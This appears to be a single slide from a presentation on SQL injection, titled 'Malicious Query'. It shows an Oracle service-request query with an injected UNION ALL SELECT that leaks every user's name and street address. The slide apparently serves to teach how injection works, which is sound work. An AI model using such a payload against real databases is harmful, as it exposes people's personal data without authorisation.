16 of 31
Malicious Query
uSELECT servicerequest.svr_id, servicerequest.status,
u       servicerequest.request_date, servicerequest.problem_description,
u       servicerequest.prod_id, servicerequest.created_by,
u       servicerequest.assigned_to, servicerequest.assigned_date,
u       assignedtouser.user_id, assignedtouser.first_name,
u       assignedtouser.last_name, createdbyuser.user_id AS user_id1,
u       createdbyuser.first_name AS first_name1,
u       createdbyuser.last_name AS last_name1,
u       TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr
u  FROM service_requests servicerequest,
u       users assignedtouser,
u       users createdbyuser
u WHERE servicerequest.assigned_to = assignedtouser.user_id(+)
u   AND servicerequest.created_by = createdbyuser.user_id
u   AND (((servicerequest.svr_id = 1)))
uUNION ALL
uSELECT NULL, NULL, NULL,
u       first_name || ' ' || last_name || ' ' || street_address, NULL, NULL,
u       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
u  FROM users
u WHERE (((1 = 1)))